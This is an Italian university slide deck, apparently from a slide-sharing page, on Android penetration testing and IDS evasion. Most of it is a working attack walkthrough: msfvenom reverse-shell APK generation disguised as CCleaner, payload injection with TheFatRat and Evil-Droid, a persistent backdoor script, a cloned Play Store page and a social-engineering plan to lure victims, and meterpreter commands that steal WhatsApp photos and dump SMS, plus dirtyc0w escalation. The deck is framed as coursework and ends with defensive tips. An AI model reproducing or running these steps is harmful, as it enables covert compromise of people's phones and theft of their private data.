Mobile Application Penetration Testing Giordano Giammaria

Mobile Application Penetration Testing
Docente A. Castiglione
Giammaria Giordano 0522500509
IDS Evasion - Sistemi Android

Outline della presentazione
● Obiettivo della presentazione
○ Diffusione del sistema operativo
Android
○ Concetti preliminari
● Reverse Engineering Android
● Generazione di un apk payload
● Framework The Fat Rat
● Framework Evil Droid
● Considerazioni sui due Framework
● Backdoor Persistente
● Social Engineering
○ Social Engineering - Esempio Reale
○ Social Engineering Operazioni da
eseguire
● Post Exploitation
● Considerazioni Finali
○ Rischi
○ Tabella degli impatti
○ Piano di contingenza
○ Esempi di rischio
○ Best Practices

Obiettivo della
presentazione
Panoramica

Obiettivo della presentazione
Lo scopo di tale presentazione è quello di mostrare un attacco di Penetration Testing ad un
dispositivo Android tramite la tecnica dell’IDS Evasion

Diffusione del sistema operativo Android
Nell’ultimo decennio il mercato del mobile ha avuto un incremento considerevole, infatti da
una statistica effettuata nel 2017 dalla società “Deloitte” è emerso che circa l’82% della
popolazione mondiale possiede uno smartphone
Attualmente (2019) oltre la metà degli smartphone presenti sul mercato hanno Android
come sistema operativo

Concetti preliminari
Prima di andare avanti, è opportuno introdurre alcuni concetti di base:
● Code Injection
○ SQL Injection
○ Shell Injection
○ Script Injection
○ Dynamic evaluation
vulnerabilities
● IDS
○ Struttura di un IDS
○ Meccanismi di
identificazione IDS
○ Tecniche di rilevamento di
intrusione IDS
○ Attacchi più comuni che
può subire IDS
○ Insertion
○ Evasion

Il code injection viene utilizzato da applicativi e software per “iniettare” del codice
all’interno di una applicazione
Con questo tipo di tecnica è possibile cambiare il funzionamento dell’applicazione
Nella gran parte dei casi, il codice da iniettare è presente sotto forma di libreria dinamica,
con questa tecnica non viene quindi modificato il codice sorgente dell’applicazione vittima
code injection
fonte: https://en.wikipedia.org/wiki/Code_injection

Questa tecnica viene utilizzata anche dagli antivirus per “entrare” all’interno di un’altra
applicazione e verificare che i dati o i file non siano infettati
Non è quindi da considerare sempre qualcosa di pericoloso, il pericolo è presente nel
momento in cui viene utilizzato per scopi malevoli
code injection
fonte: https://en.wikipedia.org/wiki/Code_injection

fonte: https://www.owasp.org/index.php/Code_Injectionn/
Come avviene una code injection?
Spesso questi tipi di attacchi sono resi possibili per una mancanza o non corretta
convalida dei dati di input / output
● Formato dei dati
● Quantità dei parametri previsti
● Espressioni regolari date in input

Tipi di code injection:
In letteratura sono stati presentati diversi tipi di code injection tra cui possiamo
menzionare:
● SQL Injection
● Shell Injection
● Script Injection
● Dynamic evaluation vulnerabilities

SQL Injection è una tecnica nel cui vengono inserite stringhe di codice SQL all’interno di un
campo di input, tali stringhe una volta ricevute vengono interpretate come comandi SQL e
quindi vengono eseguite
Il database può quindi essere esposto ad operazioni di lettura / scrittura non previste

Intrusion Detection System (IDS) è un dispositivo che può essere sia Hardware che
Software (o una combinazione in caso di sistemi standalone) che viene utilizzato per
identificare accessi non autorizzati a computer o a reti locali.
Questi sistemi vengono utilizzati per rilevare attacchi a computer o a reti locali.
Questi tipi di attacchi includono lo sfruttamento di un servizio vulnerabile, ed avvengono
solitamente tramite dati mal formattati o tramite applicazioni malevoli

Script Injection: Consiste nell’iniettare del codice all’interprete lato server
● Cross Site Scripting: è una tecnica dove viene iniettato lo script stesso all’interno
di una pagina web.
Si stima che circa l’80% di tutte le violazioni nel 2017 siano dovute a questo tipo
di iniezione
fonte: https://it.wikipedia.org/wiki/Cross-site_scripting

Dynamic evaluation vulnerabilities: un hacker malintenzionato potrebbe manovrare una
parte dell’input inserito scrivendo del codice arbitrario che potrebbe essere direttamente
eseguito (ad esempio se l’input viene passato direttamente ad una funzione “eval” senza
prima effettuare i dovuti controlli)
fonte: https://it.wikipedia.org/wiki/Cross-site_scripting

Struttura di un IDS
Un IDS è composto da quattro parti:
● uno o più sensori che servono per ricevere informazioni dalla rete o dai dispositivi
● un motore che analizza i dati prelevati dal sensore e provvede ad individuare eventuali
falle
● una console utilizzata per monitorare lo stato della rete o del dispositivo
● un database dove vengono memorizzate una serie di regole utilizzate per rilevare
eventuali violazioni di sicurezza

IDS
IDS identifica una serie di tecniche e metodi utilizzate per individuare pacchetti sospetti a
livello di rete, trasporto e applicazione.
IDS non è in grado di bloccare / filtrare pacchetti di ingresso o di uscita né tanto meno
modificarli, il suo compito infatti non è quello di fermare eventuali intrusioni (compito che
spetta al firewall) ma semplicemente di identificarle

Meccanismi di identificazione IDS
I meccanismi che sfrutta IDS per rilevare eventuali attività sospette si concentrano su:
● Lettura dei file di log del sistema o di specifiche applicazioni
● Controllo dell’integrità dei file locali
● Monitoring dei pacchetti destinati all’host

Tecniche di rilevamento intrusione di IDS
Le tecniche di rilevamento intrusione da parte di IDS si possono suddividere in due
categorie:
● misure detection: utilizzano dei pattern di attacchi ben conosciuti o punti deboli del
sistema per rilevare gli attacchi
● anomaly detection: cercano di individuare una possibile deviazione dai pattern
stabiliti di uso normale del sistema

Attacchi più comuni che può subire IDS
IDS può subire diversi tipi di attacchi, ci concentreremo su due di questi tipi:
● Insertion
● Evasion
fonte: https://def.camp/wp-content/uploads/dc2015/tudordamian-idsevasiontechniques-151123083756-lva1-app6892.pdf

IDS - Insertion
L’IDS potrebbe accettare un pacchetto che l’end-system rifiuta
Un IDS che effettua un'operazione del genere commette un errore poiché crede che l’end-
system abbia accettato e processato il pacchetto quando in realtà non è così
Si può sfruttare questo tipo di attacco inviando una serie di pacchetti che end-system
rifiuterà, ma che l’IDS crederà validi
L’ IDS in questo caso viene definito “meno restrittivo” rispetto all’ end - system

IDS - Insertion Esempio
2 3 3 5 4 1 6
T T X C A A K
Supponiamo che l’attaccante invii il seguente messaggio:

1 2 3 3 4 5 6
A T T X A C K
Dopo che i pacchetti sono stati ordinati, IDS potrebbe sovrascrivere il pacchetto in
posizione 2 (la seconda T) con il pacchetto in posizione 3, interpretando così il
messaggio come: “Atxack”

1 2 3 3 4 5 6
A T T X A C K
L’end - system invece potrebbe rifiutare il pacchetto in posizione 3 per qualsiasi ragione
(ad esempio un TTL scaduto)
Interpretando così il messaggio come: “Attack”

IDS - Evasion
Un end-system potrebbe accettare un pacchetto che invece l’IDS scarta
Si può sfruttare facendo quindi passare i pacchetti oltre l’IDS direttamente verso l’end-
system
L’ IDS in questo caso viene definito “più restrittivo” rispetto all’ end - system

IDS - Evasion - Esempio
2 3 3 5 4 1 6
T X T C A A K
Supponiamo che l’attaccante invii il seguente messaggio:

Dopo aver ordinato i pacchetti, l’IDS rigetta il pacchetto 3 (la seconda T) per qualunque
ragione Interpretando così il messaggio come: “Atxack”
1 2 3 3 4 5 6
A T X T A C K

L’end - system potrebbe sovrascrivere il pacchetto in posizione 2 (la X) con quello in
posizione 3, leggendo così: “attack”
1 2 3 3 4 5 6
A T X T A C K

Reverse Engineering Android
I passi da seguire nel momento in cui si effettua una procedura di Reverse Engineering su
Android sono i seguenti:
1. Scegliamo l’apk da decompilare
2. Analizziamo quali file devono essere iniettati
3. Iniezione del codice malevolo
4. Ricompilazione e firma della nuova applicazione
La slide successiva ci mostra i file che otteniamo nel momento in cui effettuiamo con
successo la decompilazione di un apk

Nome Descrizione
classes.dex Contiene tutti i file .class dell’app convertiti nel formato bytecode
interpretato dalla Dalvik Virtual Machine (una versione modificata della
Java Virtual Machine, utilizzata da Android per l’esecuzione del codice)
resources.arsc Contiene le risorse compilate della nostra applicazione
Uncompiled resources Rappresenta tutte le risorse non compilate dell’applicazione (ad esempio i
contenuti della cartella assets nel progetto)
AndroidManifest.xml
Contiene molte informazioni fondamentali per l’utilizzo dell’app
Fonte : https://www.html.it/articoli/decompilare-ed-offuscare-il-codice-di-unapp-android/

Fonte:Mobile Application Penetration Testing (libro consigliato tra le attività progettuali)
Per effettuare la fase di decompilazione /compilazione possiamo utilizzare diversi tool
presenti in rete, tra cui:
APKTool: tool basato su Java, viene utilizzato prevalentemente per testare la sicurezza di
una applicazione Android, decodifica il codice sorgente, permette di modificarlo ed
eventualmente anche di rifare la build dell’applicazione
● Permette di convertire un .apk in un file .smali e di lanciare il debug dei file
● Riporta le risorse nella loro forma originale: resources.arsc , classes.dex , and XMLs
Può essere scaricato al seguente link:
https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.0.2.jar .

APKAnalyzer: è un tool scritto in Java, possiede una GUI e solitamente viene utilizzata per
fare analisi statica del codice sorgente
Il tool ha le seguenti caratteristiche:
● Identificazione delle API
● Identificazione dell’architettura dell’app e delle dipendenze
● Disassemblaggio del bytecode
● Rebuild dell’applicazione
● ADB Logcat per verificarne i risultati
https://github.com/sonyxperiadev/ApkAnalyser/downloads

The drozer tool: permette di effettuare una analisi dinamica ed è usata prevalentemente
quando l’applicazione è installata all’interno del dispositivo, viene definito comunemente
come lo “scanner di vulnerabilità di Android”
All’interno del tool vengono fornite:
● The Agent APK: che è un semplice APK che può essere installato sul dispositivo
● The drozer console: una interfaccia a riga di comando che può essere usata per
interagire con il dispositivo/emulatore
● The drozer server: che fa da ponte tra l’agent.apk e drozer console
https://www.mwrinfosecurity.com/products/drozer/community-edition/

Molti dei tool automatici presenti in rete (compresi i due utilizzati all’interno del progetto)
utilizzano o richiamano funzioni presenti nativamente nei tool descritti in precedenza

Generazione di un apk payload
Fonte:ìhttps://www.offensive-security.com/metasploit-unleashed/msfvenom/
msfvenom
Tool che permette di creare payload standalone da far installare successivamente sul
dispositivo target che dobbiamo attaccare

MsfVenom
Comando msfvenom -h

MsfVenom
Utilizziamo MsfVenom per creare un payload.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.164 LPORT=4444
R> /root/ccleaner2.apk
-p = payload che deve essere usato
LHOST = indirizzo della macchina Kali
LPORT = la porta dove sarà stabilita la connessione
R> = indica il formato RAW del file
Location = la locazione dove verrà salvato il file

msfvenom
Output

Dopo aver creato il file .apk bisogna firmarlo, questo poiché molti dispositivi Android non
permettono l'installazione di applicazioni che non sono firmate
Per firmare manualmente una applicazione ci occorrono i seguenti strumenti:
● Keytool (già presente in Kali)
● Jar Signer (già presente in Kali)
● Zipalign (Da installare)

Fonte: https://resources.infosecinstitute.com/lab-hacking-an-android-device-with-msfvenom/#gref
Keytool
Generiamo una nuova firma utilizzando Keytool
keytool -genkey -v -keystore my-release-key.Keystore -alias broke -keyalg RSA -
keysize 2048 -validity 10000
Durante questa fase ci verranno poste una serie di domande a cui dovremo rispondere al
fine di rendere la chiave univoca

Fonte: https://resources.infosecinstitute.com/lab-hacking-an-android-device-with-msfvenom/#gref
Keytool
Analizziamo il comando
keytool -genkey -v -keystore my-release-key.Keystore -alias broke -keyalg RSA -
keysize 2048 -validity 10000
genkey = genera la chiave pubblica/privata
v = ci permette di far mostrare in output più informazioni rispetto a quelle classiche
(modalità verbosa)
keystore = identifica l’archivio in cui salviamo la chiave
alias = un identificativo per permettere di recuperarla e riconoscerla facilmente
kylag = il tipo di algoritmo che deve utilizzare per generare la chiave
keysize = lunghezza della chiave espressa in bit
validity = i giorni che passeranno prima che tale chiave non sia più valida

Fonte: https://developer.android.com/studio/publish/app-signing#generate-key
Informazioni sulla firma
Analizziamo la firma...
Ogni firma su una app Android contiene:
● Un periodo di validità
● Un alias che ci servirà per identificare la firma
● Una serie di informazioni che verranno utilizzate per costruire la firma
○ Tali informazioni non verranno rese visibili ad utenti terzi

Fontehttps://resources.infosecinstitute.com/lab-hacking-an-android-device-with-msfvenom/#gref
Keytool
Output

Fonte:https://resources.infosecinstitute.com/lab-hacking-an-android-device-with-msfvenom/#gref
JARSIGNER
Andiamo ad inserire la chiave generata precedentemente all’interno del file .apk
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-
key.Keystore /root/ccleaner2.apk broke

JARSIGNER
Output

JARSIGNER
Verifichiamo il corretto inserimento della firma
jarsigner -verify -verbose -certs /root/ccleaner2.apk

Injection & Evasion
JARSIGNER
Output parziale

Zipalign
Ottimizzo l’app che ho creato
apt install zipalign (se non è installato)
zipalign -v 4 /root/ccleaner2.apk /root/Desktop/android.apk

Zipalign
Output

Dopo averla installata sul dispositivo target apriamo Metaesploit e settiamo il listener

Dopo aver visto la generazione manuale di un apk payload, possiamo passare a descrivere
due tools che ci permettono di automatizzare questi passaggi
Generazione di un apk payload (conclusione)

The Fat Rat massive exploitation tool

Prerequisiti
Java 8 installato (di base già presente in Kali) e configurato come predefinito
Aprire il terminale e digitare:
update-alternatives --config java

Prerequisiti
Output del terminale:

Prerequisiti
Digitiamo il numero corrispondente al path di Java 8 e premiamo il tasto invio

Prerequisiti
● Un apk legittimo a cui iniettare il payload
N.B. Non tutti gli apk possono essere buoni candidati per l’iniezione del payload malevolo

Riconoscere apk potenzialmente “buoni”
Per poter riconoscere apk potenzialmente “buoni” per il nostro scopo, in rete consigliano
di concentrare la ricerca sopratutto su apk che hanno le seguenti caratteristiche:
● apk con una dimensione inferiore a 5 mb
● possibilmente prendere in considerazioni versioni più vecchie dell’app che abbiamo
scelto

The Fat Rat
The Fat Rat è un tool per generare backdoor e post exploitation
Questo tool compila un malware iniettando un payload, il malware che viene generato può
essere eseguito su diversi sistemi operativi, tra cui Windows, MacOs, Android
Una delle caratteristiche principali di tale tool è che il malware creato ha la capacità di
bypassare la maggior parte dei software antivirus

The Fat Rat
Tra le varie opzioni messe a disposizione del tool possiamo notare:
● [01] Create Backdoor with msfvenom
● [05] Backdooring Original apk [Instagram, Line,etc]
● [07] Create Backdoor For Office with Microsploit

The Fat Rat
Alcuni di questi menu presentano altri sottomenu, ad esempio scegliendo l’opzione 1
comparirà il seguente sottomenu:

Scaricare l’applicazione a cui vogliamo iniettare il payload.
Nel caso specifico è stata scelta l’app di CCleaner versione 1.13.50 scaricata dal
seguente link:
https://www.apkmirror.com/apk/piriform/ccleaner/ccleaner-v1-13-50-release/ccleaner-
v1-13-50-android-apk-download/
Per semplificare le successive operazioni, l’applicazione è stata rinominata in “ccleaner”
ed è stata spostata nella directory /home di Kali
mv com.piriform.ccleaner_v1.13.50-71411350_minAPI15(nodpi).apk ccleaner.apk
mv ccleaner.apk /home
The Fat Rat

Scaricare il tool “The Fat Rat”
git clone https://github.com/Screetsec/TheFatRat.git
Entrare nella directory che è stata generata
cd TheFatRat
Dare i permessi al file di setup e lanciarlo
chmod +x setup.sh && ./setup.sh
The Fat Rat

Premere il tasto invio al seguente step e al successivo:
The Fat Rat

Dopo l’avvio verrà mostrata la seguente schermata:
The Fat Rat

Digitare 5 e premere il tasto invio. A questo punto The Fat Rat ci mostrerà la seguente
schermata:
The Fat Rat

Inseriamo i dati richiesti e premiamo invio:
The Fat Rat

A questo punto scegliamo il payload da caricare
Scegliamo il numero 3 e premiamo invio
The Fat Rat

A questo punto scegliamo il tool che vogliamo utilizzare, di default sono presenti 2 tool
Scegliamo il numero 1 e premiamo invio
The Fat Rat

A questo punto se tutto è andato a buon fine The Fat Rat avrà generato un nuovo apk a
partire da quello dato in input con l’aggiunta del payload
Tale file è presente all’interno della directory TheFatRat/backdoored
nome del file : app_backdoor
Rinominiamo il nuovo apk in “ccleaner.apk”
mv app_backdoor.apk ccleaner.apk
The Fat Rat

Evil Droid
Evil - Droid è un framework che crea e integra payload all’interno di apk per penetrare
piattaforme Android
Non fa parte del normale set di tools che Kali ci mette a disposizione, pertanto occorre
scaricarlo e configurarlo
git clone https://github.com/M4sc3r4n0/Evil-Droid.git
cd Evil-Droid
chmod +x evil-droid
./evil-droid

Evil Droid
Una volta avviato Evil - Droid, in automatico scaricherà ed installerà eventuali pacchetti
mancanti, infine ci comparirà la seguente schermata
Premendo il tasto “Yes”
si avvieranno Apache e
Postgresql

Evil Droid
Evil - Droid mostrerà una serie di operazioni che potremmo effettuare, tra cui quella
dell’evasion dove sarà possibile anche modificare l’icona dell’apk generato
Scegliamo a questo punto l’opzione 4

Evil Droid
Evil - Droid ci chiederà di inserire una serie di informazioni per poter creare correttamente
il payload

Evil Droid
Scelta del payload e il nome che l’app deve malevola dovrà avere

Evil Droid
Scegliere se creare un payload apk o modificare un apk legittimo e infine la scelta
dell’icona che dovrà avere

Evil Droid
Infine il tool ci permetterà di scegliere tra le seguenti opzioni:
1) Multi- Handler: ci permette di
aprire Metasploit con tutti i
campi dell’exploit già settati
2) Attack - Vector: clonazione di un
sito dove potremo inserire il
nostro payload
3) Main - Menu: menu principale

Considerazioni
su i due
framework

Breve considerazione sui due tool
Sia The Fat Rat che Evil Droid permettono la creazione di payload su apk legittimi
Evil Droid scarica in automatico le dipendenze mancanti e a mio avviso presenta una
interfaccia più immediata in quanto in alcuni punti è presente una vera e propria GUI e
permette di effettuare stesso all’interno del tool un Attack Vector
The Fat Rat una volta configurato correttamente invece permette una serie di attacchi non
incentrati per forza a sistemi operativi Android, quindi sotto questo punto di vista è
sicuramente un tool più versatile

Come Installare una backdoor persistente
Se il dispositivo Target ha attivato i permessi di root, possiamo rendere la backdoor creata
persistente.
La procedura prevede la creazione di un file sh e il caricamento di tale file all’interno della
directory “system/etc/init.d”
Fonte: https://null-byte.wonderhowto.com/how-to/create-persistent-back-door-android-using-kali-linux-0161280/

Creiamo una backdoor
msfvenom -p android/meterpreter/reverse_tcp LHOST=5.171.105.75 R > /root/abcde.apk
N.B. la guida segue però alcuni passaggi deprecati, pertanto è stata usata parzialmente

Settiamo il listener
msfconsole
use exploit/multi/handler
set payload
android/meterpreter/reverse_tcp
set LHOST 192.168.0.4
exploit

Dopo aver installato l’applicazione sul dispositivo target occorre rendere persistente la
backdoor

Apriamo un blocco note e creiamo il file sh
#!/bin/bash
while true
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done

La riga 1 indica che il file dovrà essere interpretato dalla shell bash
La riga 2 fa partire un ciclo infinito
La riga 3 invoca l’activity Main
La riga 4 è una sleep di 20 secondi, quindi l’activity Main viene invocata periodicamente
ogni 20 secondi
La riga 5 indica la fine del ciclo

Ora occorre caricare il file sh precedentemente creato nella directory /system/etc/init.d
Nel momento in cui la vittima riavvierà il dispositivo, verrà invocato il file sh creato e la
backdoor verrà quindi resa persistente
cd /etc/init.d
ls
upload anything.sh

Nel caso di corretta esecuzione di tutti i passaggi, al successivo riavvio verranno eseguiti
tutti i file presenti all’interno della directory “etc/init.d” e quindi questo ci permetterà di
avere una backdoor persistente all’interno del dispositivo vittima. Nel caso di mancanza
dei permessi di root (come nel caso in questione) verrà mostrato il seguente messaggio di
errore nel momento in cui si tenterà di eseguire l’upload del file .sh

Cose da ricordare:
● Se sei sotto una rete WAN e hai un IP pubblico dinamico, la persistenza resterà finché
il router non sarà riavviato o non sarà avvenuto un cambio dell’IP della macchina
attaccante
● Se stai eseguendo lo script per effettuare testing sul tuo dispositivo, non dimenticare
di cancellarlo
● Se il sistema della vittima possiede i privilegi di root e la macchina attaccante ha un
IP pubblico statico allora:
a. La persistenza resterà per sempre sulla rete WAN

SOCIAL
ENGINEERING
“L’arte dell’inganno”

La tecnica del social Engineering può essere molto utile quando non si riescono a trovare
punti di accesso sul sistema che stiamo analizzando
Tale tecnica sfrutta la debolezza dell’essere umano
Un rapporto stilato da Clusit nel 2017 in riferimento ad un campione del 2016 mostra che
tale tecnica ha subito negli anni un incremento del 1166%
Social Engineering

Social Engineering
Dal punto di vista della sicurezza, l'ingegneria sociale è uno strumento molto potente che
permette di manipolare le persone, con il fine ultimo di raggiungere l’obiettivo desiderato.
In molte aziende viene adoperata questa pratica per:
● Valutare la sicurezza dei dipendenti
● Investigare sulle debolezze umane del personale

Social Engineering
Analizzando le informazioni estratte dalla vittima, un ingegnere sociale potrebbe riuscire
ad instaurare una comunicazione diretta con il target per estrapolare più informazioni
possibili. È importante tenere conto in questa fase anche di fattori esteri tra cui:
● Ambiente
● Conoscenza del Target
● Abilità nel controllare la comunicazione
Il fine ultimo è quello di instaurare quindi un rapporto di fiducia con il target per avere
maggiori probabilità di effettuare con successo l’attacco

Social Engineering
Con l’evoluzione della tecnologia il Social Engineering ha subito di conseguenza una
naturale evoluzione che ha permesso anche di sviluppare dei tools per poterla sfruttare a
pieno

Social Engineering
Solitamente un attacco di ingegneria sociale prevede i seguenti passi:
● Raccolta di informazioni
● Identificazione di Punti Vulnerabili
● Pianificazione dell’Attacco
● Esecuzione dell’Attacco
N.B. Non è l’unico paradigma questo mostrato per effettuare un attacco

Supponiamo che l’attaccante entri a far parte di un canale Telegram dove si diffondono
APK moddati, l’attaccante inizia quindi a monitorare passivamente il canale cercando di
capire quali utenti scaricano e condividono più APK moddati ed inizia tramite i Pipl e altri
motori di ricerca ad accumulare informazioni utili sulla possibile vittima (ES. la categoria di
applicazioni che più utilizza, etc…) (Raccolta di informazioni), successivamente entra in
contatto con la vittima ed inizia ad instaurare una relazione di fiducia, magari fingendo gli
stessi interessi della vittima. Da lì l’attaccante ricava come informazione che la vittima non
utilizza un antivirus aggiornato sul suo smartphone (Identificazione di Punti Vulnerabili).
Dalla fase precedente abbiamo capito che la vittima tende ad aprire tutti i link di una
determinata categoria di applicazioni, possiamo quindi veicolare il contenuto malevolo
tramite un link (Pianificazione dell’attacco)
Social Engineering - Esempio reale

Social Engineering - Esempio reale
A questo punto, dopo aver scelto accuratamente la categoria più adatta di applicazione da
inviare, l’attaccante può eseguire l’attacco (Esecuzione dell’attacco). L’attaccante decide di
attaccare la vittima facendogli cogliere una opportunità: scaricare quel particolare APK gli
permetterà di usufruire di contenuti solitamente a pagamento in maniera totalmente
gratuita (forte dal fatto che dalle fasi precedenti l’attaccante è riuscito a carpire quali sono
le applicazioni più utilizzate dalla vittima)

Social Engineering - Operazioni da seguire
Dopo aver creato tramite Evil Droid il payload, il tool come abbiamo visto ci propone la
seguente finestra:
Selezioniamo Attack - Vector
e premiamo il tasto “OK”

A questo punto incolliamo il link del sito che vogliamo clonare nella seguente finestra e
premiamo il tasto “OK”

Inseriamo l’index name del link che stiamo costruendo
In questa fase è importante inserire un nome che può essere “accattivante” per avere più
possibilità di far aprire il link alla vittima

A questo punto il sito è stato clonato con successo
Se si prova infatti a raggiungere il link generato, viene avviato un download in automatico
dell’apk contenente il payload

Al raggiungimento dell’indirizzo generato (IP della macchina attaccante/index.html) viene
mostrata una pagina del tutto uguale a quella del Play Store e viene subito proposto
all’utente il download dell’apk

Confronto dei permessi
Confrontiamo i permessi dell’app originale di CCleaner con quella modificata

Confronto dei permessi
Come possiamo notare l’app malevola richiede molti più permessi e molti di questi sono
etichettati dal sistema stesso come “intrusivi”
(es. quelli contrassegnati in arancione)

Post Exploitation apriamo una shell con il dispositivo

Post Exploitation
● Tale tipo di payload risiede direttamente nel processo host non creando a sua volta un
nuovo processo che potrebbe essere intercettato da IDS o IPS
● Non scrive nulla sul disco
● Risiede totalmente in memoria RAM (tale tecnica viene definita reflective dll injection)
● Utilizza la crittografia Transport Layer Security (TLS) per comunicare con Metasploit
Meterpreter

Possiamo ottenere la lista di tutti i comandi che possiamo effettuare tramite il comando
help
help
Output parziale
Post Exploitation

Post Exploitation
Le classi di comandi che abbiamo a disposizione sono le seguenti:
1. Core Commands
2. File system Commands
3. Networking Commands
4. System Commands
5. User interface Commands
6. Webcam Commands
7. Audio Output Commands
8. Android Commands
9. Application Controller Commands
Meterpreter

Effettuiamo le seguenti operazioni:
● Copia di una foto mandata su Whatsapp all’interno della macchina Kali (File system
command)
● Effettuare la copia degli sms e verificare se il dispositivo ha i permessi di root attivi
(Android command)
Post Exploitation

All’interno della shell di meterpreter digitiamo:
cd /sdcard
ls
Post Exploitation
Copia di una foto dalla directory di Whatsapp a Kali

cd Whatsapp
ls
Post Exploitation

cd Media
ls
Post Exploitation

cd WhatsApp Images
ls
Post Exploitation

cd Sent
ls
Post Exploitation

download IMG-20190619-WA0001.jpg -> /root/Desktop/dest
Post Exploitation

La foto è stata copiata dalla memoria del dispositivo all’interno della macchina Kali
È possibile visualizzarla seguendo il path /root/Desktop/dest
Post Exploitation

Scarichiamo la lista di tutti i messaggi presenti sul dispositivo
dump_sms
Post Exploitation
Verifichiamo se il dispositivo ha i permessi di root attivi
check_root

Post Exploitation Privilege Escalation
La fase successiva sarebbe quella di effettuare un tentativo di Privilege Escalation
L’unico tool attualmente disponibile per effettuare Privilege Escalation è “dirtyc0w”, che
prevede:
● Il dispositivo deve essere collegato fisicamente alla macchina attaccante tramite
ADB
● Il dispositivo deve avere i permessi di root attivi
La procedura è stata testata sul dispositivo ma senza successo poiché viene restituito
un messaggio di errore di API_VERSION

Post Exploitation Privilege Escalation
git clone https://github.com/timwr/CVE-2016-5195
cd CVE-2016-5195/
make root
adb shell (assicurarsi di avere configurato correttamente adb e connesso il dispositivo
tramite questa modalità alla macchina attaccante)
whoami (verifico il tipo di utente)
run-as (eseguo il privilege escalation)
whoami ( verifico se sono riuscito ad effettuare correttamente il privilege escalation)

Rischi
ID Rischio Rischio Descrizione
R_01 Errore nella
decompilazione /
Ricompilazione
Alcune applicazioni
possono generare errori
nella fase di
decompilazione /
ricompilazione
R_02 Installazione fallita Alcune applicazioni
possono generare un errore
di “installazione fallita” o
possono generare un
messaggio di alert da parte
del processo di “Play
Protect”

Rischi
ID Rischio Rischio Descrizione
R_03 Errore nell’installazione di
una backdoor persistente
Il dispositivo non presenta i
permessi di root abilitati e
quindi non è possibile
installare una backdoor
persistente
R_04 Rilevazione dell’app
malevola da parte
dell’antivirus
Se un utente ha installato
un antivirus quest’ultimo
potrebbe rilevare l’app
malevola

Tabella degli impatti
ID Rischio Severità Probabilità
R_01 Media - Alta
R_02 Media
R_03 Media
R_04 Alta
Legenda
Bassa
Media
Alta

Piano di contingenza
ID Rischio Contingenza
R_01 Scelta di una nuova
applicazione
R_02 Provare l’applicazione
prima in un ambiente
“protetto” per verificarne il
funzionamento
R_03 NA
R_04 NA

Esempio di rischio
Si prenda in analisi il rischio id: R_02 (Mancata installazione o identificazione
dell’applicazione malevola da parte del servizio “Play Protect”)
Tale rischio si è effettivamente verificato durante la creazione dell’app malevola di
CCleaner

Esempio di rischio
Nel caso specifico il servizio del “Play Protect” ha effettivamente identificato la possibile
applicazione come malevola, a questo punto sta al buon senso da parte dell’utente finale
decidere se effettivamente installare oppure no l’applicazione

Esempio di rischio
Si prenda in analisi il rischio id: R_04 (L’antivirus rileva il codice malevolo all'interno
dell’app)
Per verificare la presenza di questo rischio, si è proceduto ad eseguire la scansione da
parte di 3 principali antivirus Android, ottenendo i seguenti risultati:
Nome Antivirus Rilevato Tipo di applicazione N° di volte ripetuta
la scansione
Avira Si Free 2
Malware Byte No 1 mese Premium 2
AVG No Free 2

Esempio di rischio
Avira Malware Byte
AVG

Esempio di rischio
Infine tramite VirusTotal.com ho caricato l’applicazione creata ed ho fatto partire una
analisi, ottenendo il seguente risultato:

Best Practices
Le best practices da seguire in questi casi sono:
● Avere sempre un Antivirus affidabile
● Non fidarsi di applicazioni scaricate fuori dal Play Store
● Disattivare le “sorgenti sconosciute”
● Diffidare di applicazioni che chiedono permessi “sospetti”
● Se si viene a conoscenza di applicazioni malevoli non segnalate da parte
dell’antivirus, contattare gli sviluppatori per segnalarli

Mobile Application Penetration Testing Giordano Giammaria

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Similar to Mobile Application Penetration Testing Giordano Giammaria

Similar to Mobile Application Penetration Testing Giordano Giammaria (20)

Recently uploaded

Recently uploaded (7)

Mobile Application Penetration Testing Giordano Giammaria